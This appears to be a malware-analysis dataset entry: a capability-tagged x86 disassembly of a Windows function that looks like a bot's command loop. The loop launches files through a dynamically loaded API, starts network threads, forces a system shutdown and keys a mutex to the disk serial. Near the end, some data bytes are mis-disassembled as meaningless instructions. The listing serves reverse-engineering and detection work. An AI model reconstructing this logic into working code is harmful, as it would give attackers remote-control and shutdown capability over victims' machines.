Function at 0x4082c0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create new key via cryptacquirecontext
Get disk information
Initialize winsock library
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4bc
push ebx
push esi
push edi
push 0x4090c4
push 0x66
lea eax, [ebp - 0xa8]
mov dword [ebp - 0x14], 0
push 0x401b7c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov ebx, eax
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
mov dword [ebp - 0x34], edx
mov ecx, 0x12c
mov edx, 0x1e0
mov dword [ebp - 0x30], eax
call fcn.00402590
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x14]
push eax
push ebx
lea eax, [ebp - 0xa8]
push eax
push ecx
mov ecx, 0x409104
call fcn.00406610
mov ebx, eax
add esp, 0x10
mov dword [ebp - 0x1c], ebx
test ebx, ebx
jne 0x407d5d
imul eax, dword [0x4090a0], 0x3e8
push eax
call esi
mov ebx, dword [ebp - 0x10]
jmp 0x407d28
push 0x401b84
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x407d7e
call fcn.00408cf0
mov ecx, ebx
call fcn.00405580
mov ebx, dword [ebp - 0x10]
jmp 0x407d28
mov ecx, ebx
call fcn.004063c0
xor ecx, ecx
mov dword [ebp - 0xc], eax
call fcn.004063c0
mov ecx, eax
call fcn.00406200
mov edx, dword [ebp - 0x14]
mov esi, ebx
lea edi, [eax + 1]
add edi, ecx
sub esi, edi
add esi, edx
cmp dword [ebp - 0xc], 0
je 0x40822b
test ecx, ecx
je 0x40822b
mov eax, edi
sub eax, ebx
cmp eax, edx
ja 0x40822b
mov edx, ecx
lea ecx, [ebp - 0x54]
push 0x10
call fcn.004055a0
add esp, 4
lea edx, [ebp - 0x64]
lea ecx, [ebp - 0x54]
call fcn.004073c0
push esi
push edi
lea ecx, [ebp - 0x64]
call fcn.004023f0
lea ecx, [esi + 1]
call fcn.00405560
push esi
mov edx, edi
mov dword [ebp - 0x2c], eax
mov ecx, eax
call fcn.004055a0
mov eax, dword [ebp - 0x2c]
add esp, 0xc
mov ecx, eax
mov byte [eax + esi], 0
call fcn.004063c0
mov edx, 0x1e
mov dword [ebp - 0x28], eax
lea ecx, [edx - 0xa]
call fcn.00402590
mov ecx, eax
call fcn.004073a0
push dword [ebp - 0xc]
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
mov dword [ebp - 0x24], eax
lea ecx, [eax - 0x67]
cmp ecx, 9
ja case.0x407e3b.107
jmp dword [ecx*4 + 0x408298]
xor ecx, ecx
call fcn.004063c0
xor ecx, ecx
mov edi, eax
call fcn.004063c0
mov esi, eax
test edi, edi
je case.0x407e3b.107
test esi, esi
je case.0x407e3b.107
push edi
mov edi, dword [sym.imp.SHLWAPI.dll_StrToIntA]
call edi
mov ecx, esi
mov dword [ebp - 0x3c], eax
call fcn.00406200
mov dword [ebp - 4], eax
lea ecx, [eax*2 + 0x100]
call fcn.00405560
mov edi, eax
mov dword [ebp - 8], edi
test edi, edi
je case.0x407e3b.107
mov eax, dword [ebp - 0x24]
cmp eax, 0x68
jne 0x407edf
push 0x104
lea eax, [ebp - 0x4b8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x401b90
lea eax, [ebp - 0x4b8]
push eax
lea eax, [ebp - 0x2b0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
mov eax, dword [ebp - 4]
push esi
push 0x401bdc
sub eax, 0xffffff80
push eax
push edi
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x10
jmp 0x407f34
cmp eax, 0x67
jne 0x407f34
lea eax, [ebp - 4]
mov ecx, esi
push eax
call fcn.00406200
mov edx, eax
call fcn.004026c0
mov esi, eax
add esp, 4
test esi, esi
je 0x407f34
push 0x104
lea eax, [ebp - 0x2b0]
push eax
push 0x401bf0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov eax, dword [ebp - 4]
push esi
push 0x401c04
sub eax, 0xffffff80
push eax
push edi
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x10
mov ecx, esi
call fcn.00405580
push 0x401c14
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
push 0x401c20
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401c40
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x38], eax
call esi
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x20], 0
test eax, eax
je 0x407f83
lea ecx, [ebp - 0x20]
push ecx
call eax
cmp dword [ebp - 0x3c], 0
je 0x407fc1
push ecx
mov edx, edi
lea ecx, [ebp - 0x2b0]
call fcn.00405650
mov esi, eax
add esp, 4
test esi, esi
je 0x407fe9
lea eax, [ebp - 4]
mov ecx, esi
push eax
call fcn.00406200
mov edx, eax
call fcn.004025b0
add esp, 4
mov dword [ebp - 0xc], eax
mov ecx, esi
call fcn.00405580
jmp 0x407fe9
push 0x401c60
push 0x401c70
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call esi
push 0
push 0
push edi
lea ecx, [ebp - 0x2b0]
push ecx
push 0x401c78
push 0
call eax
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x407ff5
push dword [ebp - 0x20]
call eax
mov ecx, dword [ebp - 4]
sub ecx, 0xffffff80
call fcn.00405560
mov esi, eax
mov dword [ebp - 0x18], esi
test esi, esi
je 0x4080a8
lea ecx, [ebp - 0x54]
call fcn.00408c90
lea edx, [ebp - 0x64]
lea ecx, [ebp - 0x54]
call fcn.004073c0
lea eax, [ebp - 0x54]
push eax
push 0x4090c4
push dword [ebp - 0x24]
push 0x401a9c
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
mov ebx, eax
mov eax, dword [ebp - 0xc]
mov ecx, 0x401aa9
test eax, eax
cmovne ecx, eax
lea edi, [ebx + esi]
push ecx
push dword [ebp - 0x28]
mov ecx, dword [ebp - 4]
push 0x401b5c
add ecx, 0x40
push ecx
push edi
call dword [sym.imp.SHLWAPI.dll_wnsprintfA]
add esp, 0x14
lea ecx, [ebp - 0x64]
mov esi, eax
push esi
push edi
call fcn.004023f0
add esp, 8
lea eax, [ebp - 0x14]
push eax
lea eax, [esi + ebx]
mov esi, dword [ebp - 0x18]
push eax
push esi
push ecx
mov ecx, 0x409104
call fcn.00406610
add esp, 0x10
test eax, eax
je 0x40809b
mov ecx, eax
call fcn.00405580
mov ecx, esi
call fcn.00405580
mov ebx, dword [ebp - 0x1c]
mov edi, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
call fcn.00405580
mov ecx, edi
call fcn.00405580
mov ecx, dword [ebp - 0x2c]
call fcn.00405580
jmp 0x40826e
xor ecx, ecx
call fcn.004063c0
mov esi, eax
xor ecx, ecx
mov dword [ebp - 8], esi
call fcn.004063c0
xor ecx, ecx
mov edi, eax
call fcn.004063c0
mov dword [ebp - 0x1c], eax
test esi, esi
je case.0x407e3b.107
test edi, edi
je case.0x407e3b.107
test eax, eax
je case.0x407e3b.107
mov ecx, 0x14
call fcn.00405560
mov esi, eax
test esi, esi
je case.0x407e3b.107
mov edx, dword [ebp - 8]
push ecx
mov ecx, esi
call fcn.00408c50
add esp, 4
push edi
mov edi, dword [sym.imp.SHLWAPI.dll_StrToIntA]
call edi
push dword [ebp - 0x1c]
mov word [esi + 0x10], ax
call edi
push 0
push 0
push esi
push 0x407220
push 0
push 0
mov word [esi + 0x12], ax
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x40815f
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x2c]
call fcn.00405580
jmp 0x40826e
mov ecx, esi
call fcn.00405580
mov ecx, dword [ebp - 0x2c]
call fcn.00405580
jmp 0x40826e
xor ecx, ecx
call fcn.004063c0
xor ecx, ecx
mov edi, eax
call fcn.004063c0
xor ecx, ecx
mov esi, eax
call fcn.004063c0
mov dword [ebp - 8], eax
test edi, edi
je case.0x407e3b.107
test esi, esi
je case.0x407e3b.107
push edi
mov edi, dword [sym.imp.SHLWAPI.dll_StrToIntA]
call edi
push dword [ebp - 0x28]
mov edx, esi
mov ecx, eax
push dword [ebp - 8]
call fcn.004077e0
mov ecx, dword [ebp - 0x2c]
add esp, 8
call fcn.00405580
jmp 0x40826e
xor ecx, ecx
call fcn.004063c0
test eax, eax
je case.0x407e3b.107
mov ecx, eax
call fcn.004068a0
mov esi, eax
test esi, esi
je case.0x407e3b.107
mov ecx, dword [esi + 0x40]
mov edx, 0x401c84
call fcn.004055d0
test eax, eax
je case.0x407e3b.107
call eax
mov ecx, esi
call fcn.00406900
mov ecx, dword [ebp - 0x2c]
call fcn.00405580
jmp 0x40826e
call fcn.00406180
test al, al
je case.0x407e3b.107
push closesocket
push 1
push 1
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownExW]
mov ecx, dword [ebp - 0x2c]
call fcn.00405580
jmp 0x40826e
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
imul esi, dword [ebp - 0x40], 0x3e8
xor ecx, ecx
mov edi, eax
mov eax, edx
mov dword [ebp - 8], eax
add esi, dword [ebp - 0x30]
adc ecx, dword [ebp - 0x34]
cmp eax, ecx
jb 0x40826e
ja 0x408251
cmp edi, esi
jbe 0x40826e
mov edx, 0x5a
lea ecx, [edx - 0x1e]
call fcn.00402590
mov ecx, eax
call fcn.004073a0
mov dword [ebp - 0x30], edi
mov edi, dword [ebp - 8]
mov dword [ebp - 0x34], edi
mov ecx, ebx
call fcn.00405580
imul eax, dword [0x4090a0], 0x3e8
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push eax
call esi
mov ebx, dword [ebp - 0x10]
jmp 0x407d28
call fcn.004071b0
nop dword [eax]
inc edx
jle 4227803
add byte [edx + 0x7e], al
inc eax
add byte [ebx], al
add byte [eax], 0x90
add byte [eax], 0x21
add byte [eax], 0xc4
add byte [eax], 0x21
add byte [eax], 0x73
add dword [eax], case.0x407e3b.107
mov dword [ecx - 0x74aaffc0], 0xb0ec81ec
push ebp
mov ebp, esp
sub esp, 0x4b0
push 0x409080
mov dword [0x4094f4], 0
mov dword [0x409098], 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
nop
inc eax
add byte [eax], al
add byte [eax], al
add bh, bh
adc eax, sym.imp.KERNEL32.dll_InitializeCriticalSection
lea ecx, [ebp - 0x98]
call fcn.00406f90
push 0
push 0
push 0
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 0
push 0
push 0x401500
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
imul ecx, dword [ebp - 4], 0x129b90
push 0x80
mov dword [ebp - 0xc], 0xf3f3f3f3
mov dword [ebp - 8], 0xf3f3f3f3
mov dword [ebp - 4], 0x94f460f3
lea eax, [ecx - 0x48bd]
mov word [ebp - 0xe], ax
imul eax, ecx, 0x129b90
add eax, 0x67075df3
mov dword [ebp - 0x14], eax
imul eax, eax, 0x129b90
add eax, 0x3b4b743
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.ole32.dll_StringFromGUID2]
lea eax, [ebp - 0x98]
push eax
push 0x401cb4
push 0x4090c4
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x4094f0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4084a1
call fcn.00402420
xor edx, edx
mov ecx, 0x1f
div ecx
mov eax, 0x258
add edx, 0x3c
cmp edx, eax
cmova edx, eax
lea eax, [ebp - 0x4b0]
push eax
push 0x202
mov dword [0x4090a0], edx
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0xf0000000
push 0x18
push 0x4010dc
push 0
push 0x4094ec
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x40841f
push 0xf0000008
push 0x18
push 0x4010dc
push eax
push 0x4094ec
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x4084a1
xor eax, eax
lea eax, [eax + 1]
lea edx, [eax + eax]
cmp word [edx + 0x401cb8], 0
jne 0x408421
xor ecx, ecx
test edx, edx
je 0x408451
nop word [eax + eax]
mov al, byte [ecx + 0x401cb8]
mov byte [ecx + 0x409104], al
inc ecx
cmp ecx, edx
jb 0x408440
xor eax, eax
push eax
push eax
mov word [edx + 0x409104], ax
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0x104
lea eax, [ebp - 0x320]
push eax
push 0x401cfc
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
push 0x4000080
push 2
push 0
push 0
push 0x10000000
lea eax, [ebp - 0x320]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x40909c], eax
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]